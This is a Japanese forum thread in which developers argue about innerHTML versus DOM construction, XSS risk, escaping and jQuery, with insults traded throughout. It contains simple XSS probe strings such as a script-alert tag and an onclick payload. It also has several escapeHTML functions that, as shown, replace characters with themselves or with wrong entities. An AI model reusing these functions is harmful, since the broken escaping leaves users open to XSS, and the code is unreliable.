やろうとしていることがナンセンスなのだから仕方ないだろう
例えば、「CSSを使わずに段組レイアウトしてみて、tableレイアウトでないと出来ないでしょ?」といっても誰も納得しないだろう >>168
たとえが意味不明。
JavaScriptでHTML(要素ノード)を生成するのが前提の話だろ?
> そうするぐらいならJavaScript側でtemplateとなる要素ノードを生成して
ほらそう書いてある。
わざわざグダグダなコード書いてHTMLを生成するなら
最初からHTMLを書いたほうが楽。 仕方ないよ。template要素がなぜ必要とされて
作られたのか?も理解できてないんだから。
俺なんか、ウェブの新しい技術を聞くたびに
あー、やっとそれができたんだねって
思うぐらいなんだから。
出来てから、それが必要とされた理由を理解する者と
必要な理由がわかっていて、出来るのを待ってる者の違いさ。 >>159
シンプルに書けるかどうかはパフォーマンスとは全く関係ないよね よくある間違いとしてはJavaScriptで何でもかんでも要素を生成して出力するやり方
まず、JavaScriptがなくても動作するようにするのが前提としてあるので、JavaScriptで後付する機能の為のコンテンツはHTMLに用意してある場合がほとんど
その場合は既存DOMから必要なデータを抽出してDOMを再構築するだけでいい
あくまで再構築なので innerHTML で上書きせず、ノード管理で変更箇所は最小限に抑える
データがHTML上に存在しないなら外部データを利用することになる
例えば、二次元データをtable出力したい場合はCSVファイルをJavaScriptでパースし、table要素ノードを生成してappendChildする
こうすることでCSVファイルを編集すれば出力されるtable要素にも反映されるようになる
JavaScriptのコードを書き換えれば、table要素でなく、別の要素にする事も出来るし、出力する形式は自由に変更できる
<table> を innerHTML で出力しても実現できるが、csvファイルを基にした方がデータを容易に編集可能だし、csvファイルはシンプルなフォーマットなので別のフォーマットにも容易に変換できる
CSVのパースが複雑だとか、DOMでcreateElementが面倒くさい、とかは大した問題じゃない
データは可搬性が高い方が良いし、データからDOMへの変換処理は安全性/汎用性が高い方が良い
汎用性が高ければ高い程、出力されるDOMの自由度が上がる
保守性、管理性、拡張性もろもろを考えるとHTML断片を扱うよりシンプルなデータから扱ったほうが合理的
>>162
忠告ありがとう
この辺にしておく >>164
> シンプルに書けるかどうかはパフォーマンスとは全く関係ないよね
innerHTMLだと、シンプルかつパフォーマンスがいいからね。
確かにシンプルとパフォーマンスは全く関係ないけど >>165
えっと、JavaScript製のテンプレートエンジンの
存在意義もわからない?
そっかぁ。その程度のレベルなんだね。 下らない煽りが多くてうんざり
IDが出ているだけマシか ID出しておくと便利で、うざいやつからの反論が無くなるんだよね。
だからワンサイドゲームになるw 彼は自己愛性パーソナリティ障害に該当するように見えた
内向的な人は大なり小なりその傾向があるが、流石に酷いな >>166
逆、innerHTMLのパフォーマンスはよくない >>171
無視でもなんでもいいわw
言い返さないのなら結構。
それが他の人にどう見えるかが重要なのだから。 >>172
じゃあ、パフォーマンスについてはそれでいいよ。
それで本題。シンプルかどうかで言えば、
シンプルだろ? 議論スレではないのだが…
どのスクリプトエンジンのどのリリースのことなのやら > それが他の人にどう見えるかが重要なのだから。
最後まで残った人が正しいように見える、と思ってるんだろうな
ID:vE07iE/R を読み返してもそう思えるなら重症 >>176
誰もあんたの意見なんて聞いてないんだよ。 大丈夫
誰も ID:vE07iE/R の意見を聞いてないから、気にするな 気にしてるからレスしてんだろw
嫌ならなんで無視できないのか?
もちろん気にしているならレスしても
構わないがねw >>165
template要素を使うよくある例がAjaxだね。
Ajaxを使ってデータだけ取ってくる。
そのデータを元にHTMLを生成する。
当然ながらAjaxを使う以上、JavaScriptを使うことになる。
それを加工して表示する。
例えばテーブルのHTMLの一部を加工するなど。
そういった時、JavaScriptは加工するということは知っていても
どのようなマークアップにするかはHTMLしだい。
テーブルの ”一部" ということから推測できるように
その他の部分はHTMLで書かれており、それはJavaScriptはしらない。
どういったマークアップにするかはHTMLできめることなので、
HTMLにテンプレートとして用意しておき、JavaScriptでは
その一部だけ値を入れ込む。
これにより、HTMLとJavaScriptが綺麗に分離される。 CSVデータからテーブルを生成する話も同じ。
<table>
<tr><td>name1</td><td>value1</td></tr>
<tr><td>name2</td><td>value2</td></tr>
<tr><td>name3</td><td>value3</td></tr>
</table>
こういうものをDOM命令で作るのは馬鹿らしい。
createElementでtableを作ってtrを作ってtdを作ってappendして。
何をやってるのかさっぱりわからなくなる。
更にtableやtrやtdに属性を付けられるようにしたいとかなると、
テーブルを生成する命令に、いろんなパラメータを渡さなくければいけなくなる。
デザイナーが「このtableにとあるclassを付けたいんですけど」って言ったら
JavaScriptを修正しなくてはいけなくなる。
HTMLとJavaScriptが密接に結合してしまってるからね。
こういう時はテンプレートを使って、デザイナーが作成したHTMLの断片に
JavaScriptはプレースホルダに値を埋めるだけにするとシンプルに書くことが出来る。
もちろんHTMLだから自由にclassを設定したり出来る。 >>165で
> JavaScriptのコードを書き換えれば、table要素でなく、別の要素にする事も出来るし、
なんて言ってるけど、よく見ればわかるよね。
JavaScriptのコードを書き換える必要があるって書いてある。
テンプレートを使うと、JavaScriptとHTMLは完全に分離されているから、
JavaScriptを一切変更しなくても、table要素ではなく、別の要素にすることも出来る。
HTML、つまりマークアップを書く人が、自分の好み通りの
マークアップを書くことが出来る。これが分離というもの。 >>181
> createElementでtableを作ってtrを作ってtdを作ってappendして。
> 何をやってるのかさっぱりわからなくなる。
この程度でわからなくなるレベルか innetHTMLの話はどこへいった?
都合が悪くなってtemplate要素に鞍替えか? >>182
よくわかんないんだけど、HTMLのコーダーでJavaScriptを知らない人っているの?
そもそも、表示を変えたければ、HTMLだろうがJavaScriptだろうが、
何かしらか変更しなきゃいけないんだから、
そんなのはプロジェクトのコーディング基準で決めればいいだけの話しで、
勝手に好みでコーダーがいじったら大問題だとおもうが。 innerHTMLってevalのDOM版のようなものだよなw
evalをどのような場面で使うかというのと似たようなものw >>185
コーダーって、HTML,CSSだけでしょ?
JavaScriptはプログラマーだよ
JSのクラスは、一般的な静的に派生させるクラスではなく、
動的なプロトタイプ型のクラス
こんなややこしいものを、
簡単にプログラミングできないでしょ?
変数に、var を付けずに、また、"use strict"も付けずに、
プログラムしている人も多いんじゃないの? >>187
JavaScriptプログラマならブロトタイプを理解できて当然
ただし、table操作にブロトタイプを理解する必要はない
Strict Modeも全く関係ない 最新のjQueryのソース見たけど、初期化の時点でinnerHTMLが5回使われてるね
どのAPIを使うかなんて関係なく、innerHTMLを否応なく使わされているわけだ いや、innerHTMLを毛嫌いしている人がいるみたいだから教えてあげただけだ ここでの話とjQueryで使われているのは何か関係あるの? >>135で誤ったことを言っているから正しいことを言っただけだ
自分に関係ないのなら俺のレスは無視していい まさかjquery使っていてinnnerHTML否定してる奴はいないよな? jQueryが使ってるからinnerHTMLを使っていいという理屈はからは何の知見も生まれないことに気付こうな >>195
俺はそんなこと言ってないってw
innerHTMLが嫌いな人でjQueryを使っている人がいた(>>135)から教えただけ
もし他にもそういう人がいたら、jQueryを使うのをやめるか、あるいは自分で書き換えるといいと思う innerHTML使わない(キリッ
でもjqueryは使ってる←低脳w その個人攻撃には何の生産性も感じられないからいい加減に自重しろ jQuery使ってるのにinnerHTML否定した馬鹿が顔真っ赤になって必死だな 率直にいってjQueryには好ましくない実装が結構あるからねえ
innerHTMLに限らず、使う必要性はあまり感じないね
便利なプラグインがあって自分で作る手間を省きたい時に使うぐらいかな
大抵自分で作ろうとするし、jQueryがなくても困らないだろうね
「どうせおまえもjQueryがなかったら困るんだろ?」はただの思考停止の信者発言だし、問題の本質から論点をずらして逃げてるだけ
まともな議論にもなりそうにないね jQueryが2つ以上のファイル構成なら多くの人が使ってなかっただろう スタンスの問題では?
コード記述の便利さを取るか、コード実行の最適化を図るか innerHTMLを毛嫌いするのに正当な理由がないから
jQueryで使っていても何の問題もないんだが。
明日太陽が昇らないかもって
心配しているようなもん。 うーん? innerHTMLを根拠なく否定しているやつが
馬鹿というのが大前提なんだが、それわかってる?
そこから説明しないといかんの?
innerHTMLを否定する理由はないという
コンセンサスは得られているかな? >>205
スタンスで間違ってないと思うけど、衝突の原因はそこじゃないんだよね
相手を打ち負かす目的で発言している人とは論理的に議論できる気がしないよ うちの上司は、すぐに、エビデンス!とかフィージビリティ!とか逆に!とか言う。
と思っていたら、気が付いたら自分も言うようになってた。 >>207
「逆に!」だけ別次元の何かを感じさせるな innerHTMLはDOMを壊す恐れがあるから使うなっ! innerHTMLを使ったらダメという根拠は、
代入するHTMLに<script>タグが含まれていたらXSSが起きるから
逆に言えば、innerHTMLに<script>タグが含まれることがないと
保証されているなら使っていい。
ここまでは同意とれてるよね? innerHTMLはevalと一緒。
だからevalは使ってはならない。
Googleのスタイルガイドでも
evalは絶対に使ってはならないと書いてある。
↓うっそぴょーんw
http://cou929.nu/data/google_javascript_style_guide/#eval
> デシリアライズ (deserialization) するときのみ使用可. (例えば RPC レスポンスを評価するときなど) ユーザーが入力した値をinnerHTMLで
代入するときは気をつけないといけないが、
プログラマが書いた文字列を代入するだけなら
安全だから問題ないんだよ。
最低限これぐらいは理解してから会話に参加してくれ。 そうなるとサーバサイドで文字列を無害化しなくていいって言ってるるようなもんだね
echo htmlspecialchars($s, ENT_QUOTES, 'utf-8');はしなくていい
ehoc $s;でいいみたいなことをいってるんだね >>211
他にも問題があるけどいくらいっても理解されないようだからもういい >>214
人為ミスを起こすという話をすると、
createElement('script')って書いたら、
script実行できちゃうから、
createElementも使ったらダメってことになるけどいいの? >>101を全く理解してないからXSSだけとか適当な事をいうんだろう >>215
おいおい、話が全く違うだろう。
その例で言うのなら
echo 'aaa' は危険だから
echo htmlspecialchars('aaa', ENT_QUOTES, 'utf-8'); って書けって言っているようなもんだよ。
違いわかる? ユーザーの入力値がはいった変数じゃないんだ。
プログラマが入れた固定の文字列。
だから安全なんだよ。 echo はミスをするとXSSを起こす。
だからechoを使うな!
↑
え?w innerHTML はミスをするとXSSを起こす。
だから innerHTML を使うな!
↑
え?w >>217
>>214はヒューマンエラーでXSS問題が起きるリスクを回避する話をしているのだと思うが
趣旨を理解しない意見で煙に巻くのがお得意のようだな >>223
だから、ヒューマンエラーが起きるって話をするならば、
echo は使っちゃダメってことですよね? script 要素に appendChild() とかやったらどうなる? いつからバグをヒューマンエラーっていうようになったの?
バグをしたら脆弱性が起きるような命令は使ったらダメというのなら
プログラム書けないだろ。
ファイルを削除するdeleteは、バグがあったら
全ファイル消えるから使っちゃダメとか?w >>224
echoなど知らん
相変わらず、煙に巻くのが得意だな >>225
> script 要素に appendChild() とかやったらどうなる?
そりゃ、そういうコードを書く奴が悪いというのは誰もが認めると思うが
ヒューマンエラーで「間違ってappendChild しちゃいました」なんて事が起こりうると思っているのか? >>226
ヒューマンエラーでバグが発生するという理屈も分からないのか
原因と結果を切り分けて考えることも出来ないのか >>228
いや、単純にscript要素に子要素ノードとか作れてしまうのか
と思って聞いてみたのだが
> 「間違ってappendChild しちゃいました」
例えば script 要素に id が振られていて、
間違ってその id で getElementById で要素を取得して
appendChild するようなことはあり得るかもしれない >>219
え?固定された文字列でもサニタイズしないとかありえませんよ? >>230
> 例えば script 要素に id が振られていて、
> 間違ってその id で getElementById で要素を取得して
> appendChild するようなことはあり得るかもしれない
それは appendChild 以前の問題だ
それを認めるなら「間違って innerHTML しちゃいました」も起こりうるのだから
期待しなかった場所に appendChild されたのならデバッグ時に気がつくはずだし、気が付くべきだ
(気が付かなかったのならデバッグが足りない)
XSSの厄介なところは事象が発生しなければ問題にはならないという事だ
ヒューマンエラーでXSSが発生しているのなら意図的にXSSを発生しようとしなければ発見できないだろう
「間違ってappendChildしちゃいました」とは根本的に違う > それを認めるなら「間違って innerHTML しちゃいました」も起こりうるのだから
ちなみに「間違って innerHTML しちゃいました」の方が想定されるリスクは大きい
script要素でなくてもXSSが起こりうるからな ヒューマンエラーはありとあらゆるセキュリティホールの可能性があるから超危険だ
人間はプログラムを書くべきではないな だったらプログラムを書くコンピュータを作ろう
しかしそのコンピューターのプログラムは誰が書こうか >>231
あほだろ。
固定の文字列に対してエスケープする意味は無い。 固定の文字列をechoする時にエスケープしなくていいのは
リスクが0だから。
同様に固定の文字列。innerHTML = '<span>abc</span>'とか
XSSになりようがない。つまりリスク0だから何の問題もない。
リスクが0なのに、そのリスクがどうとか言うのは
リスク管理じゃなくて、単なる過保護。 間違って innerHTML しちゃっても問題は起きない。
なぜなら、appendChildしちゃいましたと同じだから。
appendChildしても、scriptと入れない限り大丈夫なように
inenrHTMLをscriptを入れない限り大丈夫。
この説明で同じだってことがよくわかったと思うがね。 過保護パターンみたいな名前のアンチパターンありそうだなw
例えば、if (a > 0 and a !== 0) みたいに
明らかにやる必要がないのに、念のためとかいって
やる初心者がいるんだよねw
こういうのは、コードがどう動くか
わかってないから。 >>238
appendChild と innerHTML が同じ? チェックミスが起きるからヒューマンエラーなんだがな
appendChild と innerHTML を同一視するとか、リスクの規模を測る目を持たない人がいう事は違うな >>240
はい。同じです。
固定値をinnerHTMLに入れている限りXSSは起きません。
逆に、appendChildの値をユーザーーが入力可能だとXSS起きる可能性があります。
echoも同じです。固定値ならばXSSは起きません。
違い、分かりますか? 変数の内容がユーザーが入れられるかどうかです。
エンドユーザーが入れられるなら、XSSは起きる可能性がありますが、
固定値を入れている限りXSSは起きません。
絶対に起きません。 >>241
チェックミスって何のチェックですか?
コードにバグがないかチェックしないんですか? まさにこれなんだよね。
echoをミスするとXSS起きるから、
echoを使うなっていう馬鹿はいない。
221 名前:Name_Not_Found[sage] 投稿日:2014/11/10(月) 21:57:31.58 ID:???
echo はミスをするとXSSを起こす。
だからechoを使うな!
↑
え?w
222 名前:Name_Not_Found[sage] 投稿日:2014/11/10(月) 21:58:21.95 ID:???
innerHTML はミスをするとXSSを起こす。
だから innerHTML を使うな!
↑
え?w >>243
バグがあったら脆弱性になるだよ。
あっ! innerHTML使って、しかも間違って
代入するテキストにscriptタグを書いてしまった!
どんだけありえない話だよwwww
innerHTML使うだけじゃ何の問題も起きないからね。
innerHTMLを使ってなおかつ、ありえない条件を満たさない限りXSSは起きない。 プロなら過保護はやめろよw
いつまでも補助輪付けて
競輪に出場してるんじゃねーよw >>247
お前がやったことないだろ。
はい論破w こういう喩え話思いついたわw
あるプログラマが、echo '<p>ほげほげ</p>'というコードを書いていました。
もう一人の知障プログラマがエスケープしろ!固定値でもエスケープしろ!っと喚いて
すべてのプログラムをこう書き換えました。
echo htmlspecialchars('<p>ほげほげ</p>', ENT_QUOTES, 'utf-8');
大損害を与えたため知障プログラマは会社を首になりましたwww ところどころ全然的を得てない例を出してる人は流れの邪魔 まずエスケープする所は、ユーザーが入力した文字。
固定値はエスケープしないで出力しても安全。
これがサーバーサイドの常識。
クライアントサイドでも同じで、
innerHTMLに固定値を代入するときは
何の問題も起きない。リスクもない。 お前が意味のないコード書いてるだけ。
意味があることだけやれや
過保護やろう ママーこわいよ。ヒューマンエラー怖いよー
リスクがー、リスクがー。
バグかいても、動くコードかいてー
リスクゼロじゃなきゃだー innerHTMLに代入する文字が
固定の文字列ならリスクゼロだよw >>255
innerHTMLを選択する理由もゼロになるな innerHTML君はいい加減、黙ってくれないかな
言いたいことは全ていっただろうに、いつまで続けるというのか >>257
コードがシンプルになるよ。
innerHTML = '<table id="tbl"><tr><td class="first">なんとか</td></tr></table>';
これをinnerHTMLを使わないで書こうとすると
複雑になるからね。つまりコストが掛かってバグを起こすリスク(笑)が高くなる。
>>256
なるほど。固定の文字列がわからないのか。
上の、'<table>〜</table>'のことだよ。
値が変わらないからXSSが起きるリスクがない >>258
> いつまで続けるというのか
え? それ言っておかないとダメ?
反論する人がいる限り叩き潰しに来るし、
この話題が出るたびに再登場するよ。
ちゃんと、いつまで続けるか言ったので
今度から聞かないでね。 innerHTML = '<table id="tbl"><tr><td class="first">なんとか</td></tr></table>';
と書こうとして、ちょっと眠くてうっかりして手が滑って
innerHTML = '<table id="tbl"><tr><td class="first"><script>alert(1)</script>なんとか</td></tr></table>';
って書いてしまったらどうするんだ!
ねーよw なんとかの部分を可変にしてほしいという変更依頼があったらどうする? >>262
エスケープする。サーバーサイドの常識(笑)だろ エスケープするの忘れるかもしれないから
echo禁止。ユーザーが入力したものを表示するの禁止。 >>263
それだけ過保護が多いんだろ。
うちの会社は馬鹿ばかりだから規則を守れ。
理由は考えるなお前らはただ規則を何も考えずに守ってればいいんだ。 >>266
何か問題?
低次元の人は何考えてるのかわからんので、
ちゃんと書こうね。 >>215あたりがこいつの考えの根底にあるものか
テキスト操作に拘り過ぎてDOMの概念がないんだな >>267
理由を理解できないおまえにいわれたくないわ >>264
ネタだと思ってたらお前は絶対にサーバサイドでコード書かないほうがいいよ >>268
依頼がなくても最初から全部エスケープしていればいいだろ
innerHTML = escapeHTML('<table id="tbl"><tr><td class="first">なんとか</td></tr></table>');
ドヤッ! >>270
みんなお前が馬鹿だってわかってるから
もうやめたら?w
>>271
へー。あんたエスケープしないんだ?
ユーザーが入力した文字をエスケープしないんだねw >>271
まさか、まだサーバーサイドで固定値をエスケープしろとか言ってんの?
echo htmlspecialchars('<table id="tbl"><tr><td class="first">なんとか</td></tr></table>', ENT_QUOTES, 'utf-8');
なるほど、こういうコード書けと。
あんた、バグってますよw >>273
会話のキャッチボールできないのかな?
まともに相手してもらえなくなりますよ >>274
逆にいちいち区別するほうが変だろ
常にしておけばいい >>275
相手しなくていいってw
どうせお前だけだろ? 意味もなくinnerHTML使うなって言ってるのは。
俺はしっかり言った。代入するのが固定の文字列であれば
innerHTMLを使うリスクは0だ。
固定値じゃない(ユーザーが入力する文字)ならばエスケープすればいい。
さあ、反論は?
ボール投げたから、ちゃんと投げ返してね。 >>276
だからバグってるだろw
正しく動いてないだろw バグっていても、リスクが0なら
そっちの方がいいだろう? 初めてだわ、場合によってサニタイズするって考えの人
LTでも勉強会でも見たことないので是非スライドシェアに投稿してほしいね >>276
「常にしておく」って誰かから聞いたのをそのまま言ってるだけ?
常にしておくっていうのは、変数を出力する時の話であって
固定の文字列の部分は関係ないよ。
ちゃんと理解してないで、言葉だけ覚えてるから
そういう間違いをするんだよ。 >>281
あー、わかったわ。お前が何を勘違いしているのか。
全部エスケープしろって言われて、
echoで出す文字全てをエスケープしろって思ってるだろ?
echo htmlspecialchars('<table id="tbl"><tr><td class="first">$nantoka</td></tr></table>', ENT_QUOTES, 'utf-8');
みたいに。
あのね、よく聞いてね。
みんなが言ってる「常にエスケープしろっていうのは」
<table id="tbl"><tr><td class="first"> <?php echo htmlspecialchars('$nantoka', ENT_QUOTES, 'utf-8') ?> </td></tr></table>;
変数の部分だけだから。
ここまで次元が低いと、降りるまで時間がかかるわw >>284のコードを
innerHTMLの話に戻すと
innerHTML = '<table id="tbl"><tr><td class="first">なんとか</td></tr></table>';
これはエスケープする必要はない。固定の文字列であり変わることがなくて安全だから。
「なんとかの部分を変えたい」という話であれば、こう。
innerHTML = '<table id="tbl"><tr><td class="first">' + escapeHTML(nantoka) + '</td></tr></table>'; >>284
あんたが一人で騒いでるだけだろう
俺は>>215と書いたのに勝手に脱線してるのはお前なんだよ 今頃、変数の前後の固定の文字列まで含めて
エスケープしているスライドを探してるのかな?w >>286
別に騒いでるのが俺だけってことでもいいよ。
俺の言ってることが間違っていると言わないなら
全然問題なし。
で、固定の文字列は安全です。 ここらへんで、一旦まとめを書いておきますね。
Q. innerHTMLは絶対に使ったらダメなの?
A. XSSが起きるような使い方をしなければ使って問題はありません。
Q. XSSが起きる場合とはどんな時ですか?
A. ユーザーからの入力された変数をそのまま出力するとXSSになる可能性があります。
Q. XSSが起きないようにするにはどうすればいいですか?
A. エスケープをしましょう。以下は例です。
innerHTML = '<table id="tbl"><tr><td class="first">' + escapeHTML(text) + '</td></tr></table>';
Q. escapeHTMLが使えません。
A. 残念ながら標準では用意されていないのでライブラリを使うか自分で実装する必要があります。
例
function escapeHTML(str) {
return str.replace(/&/g, "&").replace(/"/g, """).replace(/</g, "<").replace(/>/g, ">");
}
lodash.js https://lodash.com/docs#escape
Prototype.js http://api.prototypejs.org/language/String/prototype/escapeHTML/
Q. escapeHTMLと書くのが面倒です。
A. テンプレートライブラリなどを使えば簡単にかけます。
例 lodash
_.template('<b><%- value %></b>', { 'value': '<script>' });
// → '<b><script></b>'
Q. createElementやappendChild等のDOM命令を使ったほうがいいのではないですか?
A. 使ってもいいですがコードが冗長になります。
安全な場合(XSSが起きない場合)は冗長にしてまでDOMを使う理由がありません。
casperjsをインストールして試そうとすると以下のエラーがでてうまく動かないです。
【環境】OS:Win7pro 64bit
【何をしたのか】
コマンドプロンプトでcasperjsを試そうとすると以下のエラー?がでます
【エラーメッセージ】
C:\Users\*******>casperjs --version
1.1.0-beta3
Unsafe JavaScript attempt to access frame with URL about:blank from frame with URL file:///C:/jstools/casperjs-1.1-beta3/bin/bootstrap.js. Domains, protocols and ports must match.
【期待する結果】
PhantomJSとCasperJSをうまくインストールしたいです。
エラーの原因がわかる方、いらっしゃいましたら宜しくお願いします。 まとめ書いたら、止まったかw
>>290
Displaying message "Unsafe JavaScript attempt to access frame with URL about:blank ...". #1068
https://github.com/n1k0/casperjs/issues/1068
これじゃね? あ、こっちか?
Unsafe JavaScript attempt to access frame in 1.9.8
https://github.com/ariya/phantomjs/issues/12697 >>293
終わったよ。まとめ書いたから止まった。
もう次の話に入ったよ。 次からID出すといいかもね
ID出しておくと便利で、うざいやつからの反論が無くなるらしいよ >>295
昨日だったか一昨日だったかは出したんだけどね。
今回は反論を叩きのめそうと思ったので
あえて隠した。どっちにするかは気分次第。
>>291
ありがとう
なんとなく?読んでみたけど今のところ解決策がない感じ・・・かなぁ ほんとぱたっとやんだなw
やっぱりinnerHTMLを否定していたのは一人だったか。
俺も寝るから、またあしたな。
>>297
どうやらバグみたいだから
一つ前のバージョンに戻すとかしてみればいいんじゃない? 一人で頑張るならID出したほうがいいぞ
自演を疑われるぐらいなら初めからID出したほうが信用される
後は各自で判断するだろうさ ようやく向こうのスレが収束したわけだが
> function escapeHTML(str) {
> return str.replace(/&/g, "&").replace(/"/g, """).replace(/</g, "<").replace(/>/g, ">");
> }
これは酷いな
XSSが発生するコードを披露するとは >>300
もしかしてシングルクォートの話してる?
http://d.hatena.ne.jp/ockeghem/20070510/1178813849
> 私が、シングルクォート「'」もエスケープ対象に加えているのは、
> 属性値をシングルクォートで囲むケースが少なからず見受けられるからで、
> かならずダブルクォート「"」で囲むように徹底されていれば、このガイドラインは必要ありません。
まあ、あったほうがいいよね。 Underscpreはこうらしいね。 これだけやっておけば大丈夫みたい。
http://stackoverflow.com/questions/6020714/escape-html-using-jquery
There's also _.escape in Underscore, that does it like this:
// List of HTML entities for escaping.
var htmlEscapes = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/'
};
// Regex containing the keys listed immediately above.
var htmlEscaper = /[&<>"'\/]/g;
// Escape a string for HTML interpolation.
_.escape = function(string) {
return ('' + string).replace(htmlEscaper, function(match) {
return htmlEscapes[match];
});
}; 訂正版はこれでいいのかな。
function escapeHTML(str) {
return str.replace(/&/g, "&").replace(/"/g, """).replace(/</g, "<").replace(/>/g, ">").replace(/'/g, "''").replace(/\//g, "'/");
} >>300
あえてこちらには書き込まなかったのになぜこっちにコピペするんだよ
>>302
明らかに足りない
「ライブラリで使っているから大丈夫」という信者判断はいい加減に卒業しろ
しかも、「大丈夫みたい」とは何も理解してないだろ >>304
「足りない」っていうぐらいなら
何が足りないのかいいなよ。
難癖つけてるようにしか見えないからさ >>304
> あえてこちらには書き込まなかったのになぜこっちにコピペするんだよ
こっちの続きだから
> 明らかに足りない
じゃあ、足りない文字は何?
そいれ付け加えるだけなんだからさ >>304
あなたよりも、徳丸さんの方を信じますよw
徳丸さんは / はエスケープしてないね。
たしかに要らないように思える。 仕様を読めば分かる事を一々聞くな
仕様も読めない奴が一人前な口を叩くな
この後の展開は読めてる
「知らないんだろ?じゃあ、問題ないってことだな」
煽ってもおまえに教える気は全くないがね 本当、文句だけ言って自分の意見は書かないクズはなんなんだろうな それじゃだめ
↓
なんで?
↓
いいやだめだめ
↓
だからなんで?
↓
だめったらだめ
↓
駄目だこいつ話にならねぇw 仕様によると最低限のエスケープはこれだけらしい。
http://d.hatena.ne.jp/ockeghem/20070510/1178813849
> W3CのHTML4.01の仕様を見ると、〜略〜すなわち、最低限のエスケープだと以下のようになります。
>
> エスケープ対象項目 エスケープ対象文字
> 要素内容(一般のテキスト) 「<」、「&」
> 属性値 「"」、「>」、「&」
これ+ブラウザのバグ対策か。 >>308
> この後の展開は読めてる
> 「知らないんだろ?じゃあ、問題ないってことだな」
普通にその通りの展開だよw
でも先が読めてても、対策出来てないんじゃ
片手落ちだけどね。
お前がパンチを出してくるのは読めていた!(勝ったつもり)
そしてパンチで殴られる。(笑)
先が読めてても、殴られる例。 先が読めてるくせに、その先を行けないっていうのは、
言い返せないからってことだと思うw
そういう反論するのはわかっていたが、
その反論の反論はできないってことだから。 なんか向こうでこういうこと言ってる奴がいるわw
> >>132が向こうのスレにコピペされてるんだが、誰がやったんだ?
> 迷惑だから止めてくれ
こっちの話を移動させようとしてるの見え見えだってのに
見苦しいやつだなw innerHTML否定厨が完全論破されててワロタw replaceの回数だけ文字列を全部読んでいてワロタw >>316
ベンチマークするとそっちのほうが
速かったりするのはなんでなんだろうか?
キャッシュの関係なのかな?
ループが単純=CPUの1次キャッシュに入りきる
ループが複雑=CPUの1次キャッシュに入りきらない >>288,289
固定の文字列って何?ハードコーディングって用語も知らないの?
文字列は文字列であり変数に入れようが入れまいが代わりはない
ハードコーディングされた文字列だから安全って思い込みはやめるべきだ
"<div onclick='alert(1);'>click</div>"こういうのは文字列じゃないとか抜かすなよ
>Q. innerHTMLは絶対に使ったらダメなの?
>A. XSSが起きるような使い方をしなければ使って問題はありません。
つまり自分でDOMで構築するよりもリスクが高い事を認めているってことだよね
お前が主張する前にもう言っただろ
innerHTMLはパフォーマンスが悪くDOMを壊す >>303
エスケープ
var DIV = document.createElement('div');
function escapeHTML(str) {
DIV.textContent = str;
return DIV.innerHTML;
}
というやり方もあるんじゃないか?
ただし、この関数の場合
escapeHTML(str1) + escapeHTML(str2) の結果が
escapeHTML(str1 + str2)
に等しくならない場合があるブラウザがあると困るかもしれない
ちなみに逆変換はこれでいけるかな?
function unescapeHTML(htmlStr) {
DIV.innerHTML = htmlStr;
return DIV.textContent
} innerHTMLはパフォーマンスが悪くDOMを壊す(キリッ
世界中で使われてるのに?
jQueryにも使うなって言ってこいよ
変な宗教か何かやってるのかな? デタお決まりのjQueryガーwwwwwwwwwwww 文字列操作で構築、変数部分はエスケープって一昔前に戻った感じだね DOMを壊すって曖昧な表現だな
innerHTMLを使ってもDOMがぶっ壊れたりしないから良く分からんよ ごちゃごちゃとエスケープ処理を作るよりも
こういう>>319ハックのほうが個人的には好きだな >>319
>>325
escapeの為にinnerHTMLを使うことは本当の馬鹿だからやめとけ
innerHTML否定厨よりも頭悪いぞ >>325
賢い方法だが、テキストノードのエスケープ処理しかない点に注意
属性値のエスケープ処理を追加する必要がある >賢い方法だが
ブラウザの挙動すら理解できてない馬鹿が一匹沸いたな 一人で回答頑張ってる奴がいるみたいだから、このスレの回答は全てそいつ一人に任せればいいんじゃない?
そいつの認める奴だけが回答する権利を持つと言わんばかりの有り様だし >>318
> つまり自分でDOMで構築するよりもリスクが高い事を認めているってことだよね
DOMで構築するほうがリスクが高いよ。
DOMで構築するとコードが長くなる。
コードが長くなるということはバグを入れる可能性が高くなる。
つまりバグを入れるリスクが高い。 >>331
それ、いいね。
じゃあ、君の意見に賛成する俺と
君は回答しないことにしよう。
多分君の危険に賛成しない人はいるだろう。
そういう人は回答してもいいけど、
少なくとも俺と君、この二人はもう絶対回答しないよ >>319
DOM使ってエスケープするのは、可能といえば可能で
意外と遅くないらしいんだけど、やり過ぎだと思うよ。
仕様も実装も簡単なのに、ブラックボックスにするのがね。
あとサーバーサイドで使う時も考えると、
純粋なJavaScript(ECMAScript)の範囲にしておきたいし。
もちろん、DOMベースでやるよりも、文字列ベースのほうが
少ないメモリで実行できるので速くなる。 >>318
> "<div onclick='alert(1);'>click</div>"こういうのは文字列じゃないとか抜かすなよ
あほじゃね? どこのアホがonclickなんて文字を書くんだよ。
そんなマヌケがいたとしたら、createElement使っても
onclick書くだろw
どんだけおっちょこちょいなんだw 論点がずれてる。
JavaScriptを文字列の中に書くのはXSSじゃない。
それは単にaddEventListnerした要素にすぎない。
問題なのは文字列の中にJavaScriptを埋め込むことではなく
文字列の中にXSSを埋め込むこと。
文字列の中にXSSを埋め込むのは相当難しい。 >>336
そのとおりですね。
俺が言いたかったのは、文字列の中にXSSを埋め込むようなおっちょこちょいは、
createElement使ってもXSSを埋め込むおっちょこちょいだろだろってことです。 俺がいいたいのは>>289のようなアホなコードを書く奴は何を書いてもXSSを起こすだろだろってことです 仕方ないよ。
innerHTMLなんて、サーバーサイドのechoや
document.writeと同じで、エスケープすればいいだけの話なのに、
エスケープしなかったらXSSになるかもしれないから使うなって
意味不明なことを言ってるようなやつだからね。
頭が悪い奴はいくら言っても理解できない。 ORMでデータを保存する時、
hoge.save()
のようなメソッドを発行すると思います
それによりajaxのリクエストが投げられるでしょう
しかし複数のデータを保存した場合、たとえばオブジェクトが100個あると、
100回もリクエストが発行されるのでしょうか? >>346
フレームワークによると思うが
複数のリクエストをまとめる仕組みがあるだろう。
そういうたぐいのフレームワークについて
俺は詳しくないが、そのような仕組みを考えたことはある。
俺程度が思いつくものなのだから、普通にあると思う。 ポップアップ画面のClickイベントでAddClass()をしてもブラウザに反映されません、親のフォームでは反映されました
原因が解る方お願いします。
環境:Chome 38, JQuery 1.10.2 var Sidebar = Spine.Controller.create({
events: {
"click [data-name]": this.click
},
init: function(){
this.bind("change", this.change);
},
change: function(name){ /* ... */ },
click: function(e){
this.trigger("change", $(e.target).attr("data-name"));
}
// ...
});
というコードがステートフルJavaScriptにあるのですが
events:のthis.clickに違和感があります
